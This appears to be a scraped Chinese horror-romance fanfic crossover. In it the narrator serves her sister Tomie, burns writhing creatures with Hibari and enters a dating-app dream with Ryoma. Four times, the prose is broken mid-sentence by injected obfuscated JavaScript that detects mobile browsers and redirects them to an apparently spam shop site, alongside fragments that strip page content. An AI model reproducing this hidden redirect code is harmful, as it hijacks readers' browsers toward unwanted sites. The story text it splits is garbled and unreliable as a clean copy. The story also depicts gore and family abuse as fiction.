《普通恋爱模拟，但姐姐是川上富江》 1. 现实 你有一个姐姐。 她很美。 美到所有人都会爱上她。 包括你的父母。 ——她的名字叫做川上富江。 ** “月江，你可是为了成为我的玩偶才出生的啊。” 镜子前的黑发美人语气漫不经心，漂亮得近乎不真实的脸上带着一点不耐烦。 “好的，姐姐。”你点头。 没错，你的名字叫做月江。 【既然是满月，那就叫月江吧。】这是姐姐随口定下的名字。 不算好听。 但你也习惯了。 你是一名再普通不过的准高一生。 你有一对很爱姐姐，却完全不在意你的父母。 不过你并不觉得失落，因为姐姐对你很好。 尽管她时常厌恶你长相过于普通、毫无魅力，可她会在父母忘记你时给你带饭，会在你没有生活费时把钱丢到你脸上。甚至当周围的人拿着刀围住你时，她也会扬起下巴让你“滚远一点”。 姐姐只是不善言辞，她其实很善良。 你一直这么认为。 而且，多亏了姐姐，你才能出生在这世界上。 “月江。”她忽然不耐烦地叫你。 你抬头。 “我受够这里了。”她说，“我要去东京。” 你点头：“好的，姐姐。” “作为我的玩偶，你当然要跟我一起。” “好的，姐姐。” 你继续点头，将自己的志愿改为了PK学园。 反正你也没有别的打算。而且姐姐很柔弱，根本没办法一个人在东京活下去。 你熟练地收拾好地上不知从哪儿来的血迹，起身。 “姐姐，我去帮你买杂志。” “砰”。 你的额头被砸了一只口红。 “闭嘴月江。” 黑发美人转头，细长的眉微微蹙起，眼下的泪痣随着她的情绪轻轻晃动。 “好的，姐姐。” 你把口红捡起来，揣进兜里。 房间里到处都是散落的珠宝，还有像看到肉骨头一样、死死盯着姐姐的父母。 你稍微有点苦恼。 ……回来还要再打扫一次。 这样想着，你走出家门。 ** 虽然并盛町被姐姐称为乡下，但你其实还是蛮喜欢这里的。 至于理由…… 你歪了下脑袋。 云雀同学是和姐姐一样美丽且善良的人……可以吗？ 你曾经与云雀恭弥同班过一年。 云雀同学不常来教室，偶尔过来，教室里的氛围就会变得比冬季的森林还要安静……老师的声音也很抖。 不过你觉得云雀同学也是和姐姐一样善良的人。 ——因为云雀同学帮你处理了垃圾。 家里偶尔会冒出些奇怪的东西……一团一团黏糊糊的，还会叽叽喳喳地说话。 姐姐说，那些都是冒牌货，让你必须清理干净。 你对此很烦苦恼。 因为这会把衣服弄得很脏，根本没办法再穿第二次。 更重要的是，你不知道该怎么处理它们。 并盛町是不允许随意焚烧垃圾的。 思考了很久之后，你得出了结论： ‘云雀同学是并盛的风纪委员，只要得到他的允许，就不算违反风纪了吧？’ 抱着这样的想法，你手上拖着行李箱、背包装着铁锹，拦下了独自巡逻的云雀同学。 “云雀同学，晚上好。请问我可以破例烧点东西吗？” 夜晚的街道因为宵禁空无一人，这让你稍微松了口气。 这样的话，就不算群聚了。 “我会打扫的很干净的。” 你站在黑发少年面前，用衬衣擦了擦脏掉的手。 红通通的颜色瞬间染红了洁白的衬衣。 “……” 云雀同学沉默地看着你。 他的目光从你染脏的衣摆，缓慢地落到你手中的行李箱上。 行李箱动了一下。 你顺着他的视线低头，这才后知后觉地发现外壳上也蹭上了些红色。 “啊……” 你有点不好意思地用袖子擦了擦，“我真的会处理干净的。” “……随你。”云雀同学说。 “实在是太感谢了，云雀同学。”你认真地道谢，重新拖起行李箱，想找一个适合的地方去处理。 “……” 一道披着校服的背影忽然越过了你，和你保持着不远不近的距离。 “嗯？”你不解地停下。 犹豫片刻，你正想换个方向走，前方的云雀恭弥却停下了脚步。 他转过头看你。 在皎白的月光下，云雀同学古典美的脸似乎带着一丝丝神性。 他没有说话，但凭借与喜怒无常的姐姐常年相处所积累的经验，你突然奇迹般地领悟了他的意思。 “请问是让跟着你走吗？”你确认道。 云雀同学没有答话，只是转回身，大步向前方走去。 “……” 短暂的犹豫，你跟了上去。 …… 目的地是后山的一片空地。 云雀恭弥停下脚步，随意找了一棵粗壮的树，双手环胸，闭目养神般地斜靠在树上。 你眨眨眼睛，盯着他看了一会儿，才抽出背包里的铁锹开始挖坑。 行李箱时不时发出“砰砰砰”的动静，在寂静的后山中有些吵闹。 为了不打扰云雀同学继续巡逻，你加快了挖掘速度。 你很快就挖好了一个足以容纳半个人的深坑，费力将行李箱推了进去。 “咚”地一声闷响。 你想了想，又爬下去，将行李箱打开，露出了里面被保鲜膜包裹得严严实实的、扭来扭去物体。 这样烧得应该会更快一点吧？ 你这样想着，又费力地爬回坑边，掏出随身携带的汽油泼下去，最后将冒着火苗的火柴丢进坑底。 温暖的火苗照亮了夜色，“滋啦”的烧焦声，以及刺耳的尖叫声打破了黑夜的寂静。 “啊啊啊——” 似乎有点太吵了。 你不好意思地走到闭目养神的云雀同学身旁，歉意道：“抱歉云雀同学，我会想办法让它稍微安静一点的。” 云雀同学没睁眼，也没答话。 ……是睡着了吗？ 你松了口气。 云雀同学的睡眠质量真好。 你羡慕地想道，快步走回火坑边，又往里添了些四周捡来的干柴，希望它能烧得更快一点。 “月江——我才是你的真正的姐姐啊！” “好痛……好痛……” “月江、月江……” 尖叫声与咒骂声逐渐变得断断续续，最终被火焰一点点吞没。 你松了口气。 你低头看着自己身上红红的衣服和袜子，想着姐姐“必须处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540520|203929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理干净”的叮嘱，犹豫地回头望了一眼云雀同学。 他依旧双眼紧闭，似乎睡得很熟。 太好了。 你趁机将身上脏掉的衣物连同袜子全部脱下来，一股脑地丢进火堆，然后从背包中找出新衣服换上。 做完这一切，你重新走回坑边，蹲下身，抱着膝盖，看着火苗一点点往下塌。 …… 有点像烤红薯。 你盯着那团火，忽然有点走神。 如果埋进去烤的话，应该会更香一点吧。 不过姐姐说，这样很粗俗。 你开始思考有没有偷吃烤红薯但不被姐姐发现的办法。 火苗渐渐消失，深坑只剩下一堆灰烬，被夜风吹得四处飘散。 你回过神，站起身，把周围的痕迹一点点清理干净。 很快，这里就恢复成了原本的样子。 “谢谢你，云雀同学。我已经处理好了。”你认真道谢。 “……”云雀睁开双眼睛，目光淡淡地扫过你，微顿。 你下意识抬手摸了摸脸。 ……是沾到灰了吗？ 还没来得及问出口，你发现云雀恭弥移开了目光，越过你的肩膀，看向了身后的空地。 片刻之后，他收回视线，再次看了你一眼，什么也没说，转身离开。 你连忙追了上去。 “云雀同学，”你有些不好意思地开口，“下次……我还可以烧垃圾吗？” 这样问似乎有点厚脸皮。 但如果姐姐又让你清理那些东西的话，你还是需要一个地方处理。 云雀侧过头，看了你一眼。 那双凤眸依旧看不出什么情绪。 就在你以为对方不会回答时，他说了一句话：“十二点。” 你微微一愣。 ……是指，晚上十二点可以来找他帮忙吗？ 还是说，只能在那个时间？ 你没有太想明白，但还是点点头：“好的，云雀同学。” 结果，从那之后的一整年，你都经常在深夜十二点，和云雀恭弥一起出现在并盛的后山。 对此你深感歉意，特意拿出了一部分生活费给云雀同学买饮料。 “谢谢你，云雀同学，今天也麻烦你了。” 你收拾好残局，认真地递过去一瓶椰奶。 “……” 没说话但是拿走了。 ……真可惜。 本来还想着，如果云雀同学不喝的话，就可以自己喝掉的。 你叹了口气，从那瓶没能进自己肚子里的椰奶上收回思绪，拿起一本姐姐喜欢的杂志去收银台结账。 “哟，月江，又来了啊。” 笑容和蔼的店员先生朝你打招呼，“听说你之后要去东京上学了？” “是的。”你点点头，从钱包里取出硬币递过去。 “是吗是吗，那很好哦。”他一边找零，一边笑着说，“东京很热闹的。” 他把零钱递给你，却没有立刻收回手。 “对了，”他像是忽然想起什么，“最近有个很不错的软件。” 你抬头：“什么？” 店员先生盯着前方，目光有点空：“……《订阅男友》。” 他的语气轻飘飘的，“沉浸式恋爱模拟。包教包会。” 你安静地听着。 “东京的高中生……都是会恋爱的。”他说着，歪歪脑袋，笑容依旧温和，“月江，既然要去东京上学，总要提前适应一下吧？” 2. 幼驯染 你回到家时，手机上已经多了一个软件。 【订阅男友】。 名字听起来有点奇怪。 不过占用的内存很小，又是最近很流行的应用，所有大概没有问题。 你没有多想，把手机放进口袋。 “姐姐，这是你的杂志。” 你把杂志放到她伸手就能拿到的地方，随后环顾房间。 父母正趴在地上。 他们低着头，肩膀微微耸动，像是在抢什么东西。唾液顺着嘴角滴下来，落在地板上，与那些尚未干透的痕迹混在一起。 “富江……富江……” “滚开……这是我的……” 两个人又纠缠到一起，撕咬、拉扯，发出闷响。 很快，地板上又多了一层新的痕迹。 ……又弄脏了。 你叹气，拿起抹布，任劳任怨地擦拭起地板来。 但总是刚擦干净一点，又会被新的痕迹覆盖。 “吵死了！”姐姐被噪音吵得大叫，“月江你快想想办法！” “好的，姐姐。” 你起身走过去，熟练地把两人分开，然后用准备好的绳子一圈一圈地绑好。 他们挣扎着，发出含糊不清的声音。 ……有一点口水沾到了你的手上。 你小心地用抹布抹掉，又从口袋里拿出姐姐砸过你的口红，举起来。 “这是姐姐用过的口红。” 父母的动作立刻停了下来，目光紧紧黏在口红上。 “富江的……” “给我……给我……” “只要爸爸妈妈保持安静，我就会帮你们涂口红哦。”你对双眼泛着绿光的父母说。 两人顿了一下。 呼吸变得急促，却慢慢不再出声。 你点点头，把口红收回口袋。 他们的目光立刻跟了过去，在你的口袋上缓慢地游移，身体不安分地扭动。 不过没关系。 经验丰富的你绑得很结实。 “姐姐，这样可以吗？”你问。 “闭嘴，月江。” 姐姐随意地翻着杂志，语气不耐，“我要出门，给我叫车。” “好的，姐姐。” 你点点头，替她叫了计程车。 很快，车到了。 你帮她打开车门。 “这种车真是恶心……” “废物月江。” “连这种事都做不好——” 在姐姐的抱怨声中，她坐上了计程车。 “姐姐，最近你会回家吗？”你问。 “……” 姐姐美丽的脸上绽放出恶意的笑，犹如艺术品般瓷白的指尖划过你的侧脸。 脸颊传来火辣辣的感觉。 ……似乎是破皮了。 “月江，你在问我吗？” 姐姐咯咯地笑着，语调轻快又带着一点说不出的恶意。她伸出艳红的舌尖，将指尖沾染的红色轻轻舔去。 “是的，姐姐。”你点头。 “如果姐姐回来，我会提前做好饭的。” 你想了想，又补充了一句，“也会让爸爸妈妈安静一点的。” 姐姐的神情一下子冷淡下来。 她没有再笑，手掌忽然用力，将你一把推开。 你踉跄了几步才站稳，计程车刺鼻的尾气扑在你脸上。 车子很快消失在街道尽头。 你站在原地，抬起手，用袖子擦了擦脸。 …… 今天好像又让姐姐不高兴了。 你有些苦恼地想。 是哪里没做好吗？ 你低头思考了一会儿，没想出答案，只好先回家。 ** 结束晚餐，家里终于安静下来。 你独自待在房间，开始研究【订阅男友】这个软件。 软件是鲜艳的红色，看上去很喜庆，所以你并不讨厌。 你怀着一点点期待，点开了它。 【订阅男友。】 【你来啦你来啦你来啦。】 屏幕变成一片正红色，像被刚涂开的口红。 【现在，去睡觉吧。】 你歪了歪头。 为什么要睡觉？ 现在的时间好像还不算很晚。 你试着操作了一下，但软件没有任何反应，屏幕依旧维持着单一的循环。 【去睡觉。】 【去睡觉。】 【去睡觉。】 提示开始重复，手机忽然震动起来。一下，两下，三下……越来越急。 屏幕上的黑色字体不断加粗、叠加，在红色的背景上一闪一闪。 【快去睡觉，月江。】 啊，真是智能的游戏。 你看着正在不断翻涌着红色液体的手机感叹道。 竟然这么快就知道使用者的姓名了吗？ 你用袖口擦擦手机边缘漏出的红水，把手机放到枕头边，又换了一套干净的睡衣，才关灯上床。 红红的屏幕将房间照得暖洋洋的。 你盯着它看了一会儿，眼皮慢慢变得沉重。 …… 你确实有点困了。 …………………… 【订阅男友。】 【你今天剧本是——幼驯染。】 ** 【你的名字是川上月江。】 【你的父母去年因空难不幸逝世了。】 【父亲的好友越前南次郎收留了你。】 【因为双亲离世，你逐渐变得沉默、封闭。】 【越前南次郎很担心你的状态。】 【正好，他的儿子越前龙马即将回R国读国中。】 【于是在与妻子商议后，他决定将你一同带去。】 【越前龙马是你的幼驯染。】 【你们的关系OOOO。】 【今天，是你来到R国的第一天。】 【请尽情享受甜甜的恋爱吧。】 ** 你睁开双眼，从床上坐起，环顾四周。 这是一间干净却空旷的房间。 没有多余的装饰，只有床、桌椅和衣柜。 你在衣柜把手上发现了成套的绿色校服。 有点丑。 你看着衣服想道。 比起这种颜色，暖洋洋的红色，或许会更好看一点……？ 你疑惑地歪了歪脑袋，有些不明白自己为什么会有这样的念头。 “咚咚咚。”敲门声响起。 “月江。”门外传来一道略带困意的少年音。 “老头子让我叫你起床。”他顿了一下，“……你起了吗？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540521|203929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “……” 你看了一眼手中的校服，想了想，放了回去。 你走到门口，打开门。 “起了。” 门外的少年和你差不多高。 墨绿色的头发有点凌乱，琥珀色的眼睛在看到你的瞬间，像受惊的猫咪一样瞪大。 “……喂。” 他的视线在你身上停了一瞬，又很快移开。 “你就这样出来？” 有什么不妥吗？ 你低头，身上是普通的睡裙。 你抬头，点头：“嗯。” “…………”他沉默了一秒。 “……快点。” 他的语气有点生硬，“我可不会等你。” 他快步远离了你的房门。 “……？” 你看着他的背影，不太理解地歪歪脑袋，关上了门。 ** “哟，青少年，月江醒了吗？”胡子拉碴的男人随手翻着报纸，语气懒散地问。 “醒了。” 越前龙马抿了下唇，拉开椅子坐下。 他端起牛奶，一口气喝了大半杯。 “老头子，下次别让我去叫她。” “喂喂。”越前南次郎笑了起来，“月江好歹也是你的幼驯染吧？” “少年你这样，未免也太冷漠了。” “……” 越前一言不发地继续吃着早餐。 ** 你换好衣服下楼时，餐桌上已经坐满了人。 “早安，南次郎叔叔，奈奈子姐姐，伦子阿姨。”你一个一个叫过去，最后视线落在埋头吃早餐的少年身上，“还有……龙马。” 奈奈子笑着回应：“早安，月江。” “来来来，快过来吃饭。”南次郎朝你招手。 “月江，等下和龙马一起去上学吧。”伦子把你的早餐放好，转头提醒，“龙马，吃慢一点。” “……不要。”龙马一口气喝完剩下的牛奶，椅子向后一推。 “我先走了。” 他说完，直接起身离开。 “龙马！”伦子阿姨和奈奈子姐姐同时叫他。 龙马没回头，脚步很快，转眼就消失在客厅中。 “真是的……”伦子叹了口气，随后看向你，语气变得更加温和，“月江，阿姨等下送你去学校吧？” “……” 你正在看面前的煎蛋。 是半熟蛋。 “月江？” 你这才抬起头，对上伦子略带担忧的目光，摇头。 “没关系的。”你说，“我可以自己去学校。” “可是……” 伦子还想说什么，却被南次郎笑着打断。 “好啦好啦，伦子。”他说，“月江既然这么说，肯定没问题的，对吧？” “是的。”你点点头，用手中的刀噗嗤一声刺破了煎蛋。 半熟的蛋黄破开。 金色的液体涌出，顺着刀刃滑落，在白色的蛋白上铺开。 “我可以的，伦子阿姨。” “是吗……” 在伦子担忧的叹息声中，你吞下了第一口煎蛋。 嗯。 是鸡蛋的味道。 …… 你低头看了一眼盘子。 蛋黄已经不见了。 3. 幼驯染 吃完早餐，在伦子阿姨“月江，真的不需要送你吗？”的担忧声中，你走出了家门。 现在的时间是早上八点。 你看了眼时间，合上手机。 ……应该朝哪个方向走？ 左边和右边。 你抬起头。 今天是个艳阳天，四月的春风吹得茂密的樱花簇簇下落。 左边的樱花似乎更茂密一点。 你决定朝左走。 “……你是笨蛋吗？” 身后忽然传来声音。 你停下脚步，回头，是刚才说“先走了”的龙马。 墨绿色短发的少年站在樱吹雪下，琥珀色的猫瞳略带不耐烦，薄唇抿地有些紧。 “那边根本到不了学校。”他说。 ……像抗拒主人摸自己的猫咪一样。 你这样想着，转身走过去。 他下意识地往后退了半步。 “龙马是等我上学吗？”你问。 “……” 他一下子沉默起来。 “你还差得远呢。”他说完，立即转身，大步朝前走。 你：“？” 你比划了下你和龙马间的距离。 嗯……似乎确实是离得有点远。 你如此判断道，随后快步追了上去。 ** 很幸运，你和越前龙马是同班。 你紧紧跟在他的身后。 “喂。” 前面的少年忽然停下脚步，你差点撞上去。 他回过头，眉头微微皱起。 “你准备一直跟着我吗？” “嗯。”你点头。 “2组。”你指了指自己，又指了指他，“2组。” “……” “我不是说这个。” 龙马的脸像被惹毛的小猫哈气一样皱了起来，“你难道又想装作忘记了……” 他的话音忽然停下。 琥珀色的猫瞳一直盯着你。 你：“……？” 你不知道他在说什么。 脑海中一片空白，你发现自己并没有今天以前的记忆。 “忘记什么？”你问。 “………………” 龙马的脸色变得很难看。 “别问我。” 说完，他转过身，大步向前。 这一次走得很快。 你疑惑地歪头，犹豫了一瞬，再次快步跟上。 这一次，他没有再说话。 ** 你成为了龙马的同桌。 他似乎还在不开心，浑身隐约散发着生人勿近的气息。 老师说，等下进行自我介绍。 你有些苦恼。 因为你只知道自己的名字而已。 “龙马。”你转头，问道：“我应该怎么自我介绍？” “？”他侧过脸，看你的眼神有点奇怪，“你问我？” 你点头。 “我只认识龙马。”你说，“所以龙马一定最清楚。” 听到这句话，他的唇抿得更紧了，眉头也越皱越深。 “我不知道。” 他停了一下，又补了一句，“别问我。” 说完，他直接趴在了课桌上，不再看你。 没能得到答案，你有点失望。 但龙马似乎困了。 你决定不打扰他。 你打开了自己的手机，试图寻找一点有用信息。 手机设有密码。 早上的时候，你只是用它看了时间，所以没有注意到这一点。 ……密码是什么？ 你再次苦恼起来。 你随意输入了一串数字，系统提示密码错误。 “……” 你十分不好意思地晃了晃正在休息的龙马。 “龙马，我不知道手机密码。”你说。 “难道我就会知道了吗？”正在休息，却被你突然叫醒的他，脸色很差劲。 你低头看手机，又抬头看他。 “只剩下两分钟就上课了。” “我想知道密码。” 说着，你把还亮着的手机递到他面前。 龙马的脸色更差劲了，“就说我不知道你的手机密码——” 话说到一半，他忽然停住了，视线落在屏幕上。 你发现他似乎很喜欢话说到一半停下来。 ……还喜欢抿唇。 你看着他快抿成一条直线的嘴唇，在心里的【龙马观察日记】里又补充了一条。 短暂的沉默之后，他的唇微微动了下，似乎说了什么，但声音太低，你没有听清。 “你说什么？”你问。 “100302。” 他飞快按下数字，立刻把手机推回你手里。然后整个人往前一趴，把脸埋进臂弯里，像被打扰到的寄居蟹一样缩了起来。 “谢谢，龙马。” 你记下数字，没有再去打扰这只寄居蟹。 手机里的软件并不多，背景和锁屏是同一张图片——一只歪着头的小熊。 白色的棉花从裂口处争先恐后地涌出，带着点淡淡的红色。 你盯着看了一会儿。 ……还挺可爱的。 你开始翻找有没有能用的信息。 Line的联系人很少。 【越前南次郎叔叔】、【伦子阿姨】、【奈奈子姐姐】、【小熊】 ……小熊？ 你不解地歪了下脑袋。 你试着点开对话框，里面什么也没有。 “………” 出于一丝微弱的好奇心，你发送了一个微笑的表情。 “铛铛铛……”上课铃响了。 没有找到什么有用的信息，你只能遗憾地锁上手机。 ………… 一无所获的你，在自我介绍时只说了自己的名字。 “我是川上月江。” “请多指教。” 你礼貌地鞠躬，然后坐下。 你能感觉到大家的目光像是在等你继续说些什么，但你没有更多可以介绍的内容，于是便低下头，当作没有注意到。 若是姐姐在就好了。 你想道。 姐姐在的话，大家就不需要做自我介绍了……咦？ 你忽然顿住，脑袋微微一歪。 我有姐姐吗？ 你奇怪地抬起头，又低下头。 ……忘记了。 你没有继续纠结，很快把注意力重新放回到教室里。 “……龙崎樱乃……” “堀尾……” 同学们一个接一个站起来介绍自己。 你有些走神。 你在思考为什么联系人里没有龙马。 明明，他连你的手机密码都知道。 “越前龙马。” 熟悉的声音让你回过神。 “就这样。” 你抬起头，正好看见身旁的少年坐下。 教室里安静了一瞬。 你从周围人的表情中读出了同一个意思：[哎哎哎？！怎么你也这样？！] 你眨了眨眼。 原来龙马也不擅长自我介绍啊。 这个发现让你莫名安心了一点。 ** 班会结束，很快到了放学时间。 你照旧跟在龙马身后，但他走的方向，似乎离校门越来越远。 “龙马，我们不回家吗？”你问。 走在前方的少年，提了提几乎和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540522|203929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一样高的网球袋，似乎是想以此提醒你。 你注意到了：“原来你会打网球吗？” “……” 脚步忽然停住了。 他回头看你，琥珀色的眼睛里带着点说不清的情绪。 “你今天为什么一直说傻话？” 你歪头：“有吗？” 你回想了一下，又摇头：“没有。” “……” 他像是被你的回答堵噎住了，盯着你看了几秒，视线慢慢移开。 “月江。”他的声音低了一点，“就算你装傻，我也不会原谅你的。” 和煦的春风吹起龙马额前的碎发，樱花晃悠悠地从枝头落下。 “……” 你的目光被他肩头的花瓣吸引了。 “嗯，”你随意点点头，“那就不原谅好了。” “月江。” 他的语气加重了一点，“你——” 你伸手去碰他的肩膀，但还没接触到，他就像是受到了什么惊吓，向后退去。 够不到…… 你停了一下，又往前迈了一步，伸手把他肩上的花瓣拂掉。 “好了。” 你退回原来的位置，抬头看他。 “龙马，你刚刚说什么？” “……” 他的脸色忽然变得很冷淡。 猫瞳盯着你看了半晌，移开。 “你总是这样。”他说，“完全不考虑别人的心情。” “嗯？” 这句话对你来说有点难理解。 你想了想，说：“那我下次会先问你的。” 他的神情没有缓和，反而更冷了一点，隐约还带着一丝压不住的烦躁。 “……我去网球社。” 他说完就转身离开。 “嗯。”你快步跟上去，“我和你一起。” 你觉得这样有点厚脸皮。 但你确实不记得回家的路，所以也没有别的办法。 好在龙马只是脚步停顿了一下，没有再说什么，继续往前走。 你稍微松了口气。 ……如果他能早点回家就好了。 你这样想着。 早餐只吃了煎蛋，现在有点饿了。 ………… 结果莫名其妙变成了看比赛。 你站在网球场外，身旁是同班同学……屈尾？尾田？ “在拥有两年球龄的我看来，越前这……” “堀尾同学你懂得真多……” 啊，是堀尾。 你站在网球场外，盯着场上正在和高年级比赛的龙马看了一会儿。 ……好像有点困。 大概是低血糖吧。 你这么想着，走到一棵树下，靠着树干坐了下来。 阳光透过树叶落下来，暖洋洋的。 你闭上眼睛。 ……………… 你是被闹钟声吵醒的。 你睁开眼睛，对着目光阴沉沉，手上拿着刀具的父母打了个招呼。 “早安，爸爸妈妈。” 你的目光越过他们看向窗外。 三月的阳光很是和煦，微风吹拂着窗外的樱花树，将花瓣带入了室内。 啊，是晴天。 你看着窗外，似乎又看见了【龙马】背着网球包，站在樱吹雪下略带别扭地看着你的模样。 这让你的心情一下子变得很不错。 你想，等会儿可以出门散步，顺便去买个新的门锁。 毕竟昨晚睡得太熟，连破门声都没有听见，实在有点丢脸。 …… 不过换个角度想，这说明你的睡眠质量很好。 大概和云雀同学差不多了吧。 你苦中作乐地想道。 4. 现实 简单地吃过早饭后，你踏上了去购买门锁的路。 “爸爸妈妈，我出门了。” 你对屋内说了一声，没有再看两人拿着刀互相“画画”的场景，径直离开了家。 ** 三月的阳光照射在你身上，暖洋洋的。 你想起昨晚梦里的樱花，脚步不自觉地转向了家附近的公园。 可能是工作日的缘故，公园里空无一人。 成片的樱花树簇拥在一起，花开得正盛，层层叠叠十分得美丽。 呼…… 你随着飘落的樱花晃了晃脑袋。 春天真是美好的季节。 你感叹道。 “喂，你。” 一道有些严厉的男声从旁边传来，“这里是禁止入内的。” “……？” 你顺着声音转过身。 说话的是一个留着飞机头的男生，穿着黑色制服，表情有点凶，看起来不太好相处。 过于明显的发型，让你很快确认了他的身份——风纪委员会的成员。 既然他在这里的话…… “请问是云雀同学在赏花吗？”你问。 对方愣了一下。 “啊……你还是尽快离开吧，”他说，“委员长不喜欢外人。” 这个回答让你稍微有点遗憾。 你原本还想多看一会儿花。 不过也没关系，你想，等买完门锁之后，可以再回来。 “好的。”你点了点头，“那我现在就离开。” “你从这边回去就——” 他一边说，一边给你指路，话却突然一顿。 他的视线落在你身上，上下打量了一遍，表情慢慢变得有些奇怪。 “……你叫什么名字？”他问。 “川上月江。”你回答道。 男生沉默起来，脸上的表情微妙地变化了一下。 “川上……”他低声重复了一遍，嘀嘀咕咕说了点什么，可你没听清。 你没有太在意。 “那我就先离开了。”你准备告辞。 “——不，等等。” 他忽然叫住了你。 你回过头：“还有什么事吗？” “……” 他顿了顿，说：“川上……你过去吧。” “委员长在那边。” 飞机头男生指了个方向。 “？”你歪了下脑袋。 “是云雀同学有什么事情吗？”你问。 “不……”他迟疑了一下，语气有点不太确定，“应该没有。” 但他最后还是用肯定的语气道，“你过去吧。” “……？” 你虽然不太理解，但还是按照他指的方向走了过去。 再过不久你就要去东京读书了。 如果能在离开之前再见云雀同学一面，顺便表达谢意，也是一件不错的事情。 而且两个人的话，应该不算群聚吧。 你这样想着。 ………… 飞机头男生所指的方向是公园中最大、开得最茂盛的一棵樱花树。 淡粉色的花瓣在阳光的照射下闪闪发光，形成了一片粉色的海洋。 海浪随着微风四处摇晃，溅出了一些浪花。 粉色的花瓣缓缓坠落在黑色的发丝上。 隔着粉浪，黑色的凤眸望了过来。 “云雀同学，早安。”你在黑发少年面前停下，打招呼道。 “……”云雀恭弥盯着你看了一瞬，随即移开视线，“啊。” 依然是平淡的语调，没什么起伏。 你并不觉得奇怪。 云雀同学的情绪总是淡淡的……而且似乎不太喜欢说话？ 你正想着，目光扫过他面前极为丰盛的餐点，忽然想到—— “我忘记买饮料了。” 你有些抱歉地开口，“对不起，云雀同学。” 过去你们每晚见面的时候，你最后都会给他一瓶椰奶的。 “下次见面我会补上的。”你说道，“我没想到今天会见到云雀同学。” 他“嗯”了一声，似乎并不在意你的失误。 你松了口气。 云雀同学还是和以前一样，很好说话。 你在野餐布的边缘坐下，抱着膝盖，学着他的样子抬头看樱花。 花瓣缓缓下坠，地面很快覆上一层粉色。 “……” 你看了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540523|203929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会儿，侧头道：“云雀同学。” 云雀恭弥抬起眼。 “我之后要去东京读书了，谢谢你这么久以来的照顾。”你说，“云雀同学帮了我很多。” 他没接话，只是用那双看不出什么情绪的凤眸看着你。 “最近家里奇怪的东西也变少了。” 你继续说，“我想很快就不用麻烦云雀同学了。” 你想了想，又补充了一句：“应该。” 如果姐姐回家的话，家里可能还会出现奇怪的东西。 你觉得还是不要把话说得太绝对比较好。 云雀依然没说话。 你也没太在意，因为你突然想起了另外一件更重要的事情。 ——有没有办法偷吃烤红薯而不被姐姐发现？ 这个问题你已经思考过好几次了，而你发现今天似乎是个不错的机会。 姐姐不在家，而且这里有很多落下来的花瓣。 你的目光再次转向地面的粉色小堆。 如果埋在里面烤的话…… ……不过，好像没有红薯。 你低头想了一会儿，干脆站起身来，问： “云雀同学。你想吃烤红薯——” 话还没说完，你来时的方向忽然变得嘈杂起来。 “喂喂，这也太过分了吧？” “这里又不是你们的私人土地。” “……？”你的话停下，转头望过去。 隐约能看见三个人影。 你还没看清情况，身边的人已经有了反应。 原本靠在树下、神情淡淡的云雀，慢慢睁开了眼。 “哦？”像原本在闭目养神的狮子，看见了猎物般，他兴致盎然地勾起了嘴唇。 经过你身旁时候，他稍微停顿了下，狭长的凤眼望过来。 “可以。”他说，“等着。” 然后就这样离开了。 “…？” 你有些困惑地歪了下脑袋。 可以？ 是说他也想吃烤红薯吗？ 你不是很确定，但也想不到别的可能性。 短暂思考了一瞬后，你决定现在先去买红薯。 你也朝着云雀刚离开的方向走。 5. 现实 似乎来的不是时候。 你站在不远处，这样想着。 前方的场面有些混乱。 拿着浮萍拐的云雀同学，扔着炸弹的银发少年，瑟瑟发抖的棕发少年，以及笑得阳光的黑发少年。 一二三四…… 你的表情变得苦恼起来。 加上自己的话应该算是群聚了吧？ 你想了想，临时决定换个方向走。 这边应该也可以出去吧？ 你不是很确定地转身。 “……嗯？” 脚下忽然踢到了什么。 你低头，发现是刚才给你指路的飞机头男生。 他躺在地上，似乎睡得很熟，周围嘈杂的声音都没打扰他。 ……真是很好的睡眠质量。 你有些羡慕地看了一眼，绕过他继续向前。 ** 然而在公园转了一段时间后，你遗憾地发现公园似乎只有那一个出口。 要倒回去吗？ 你有些烦恼。 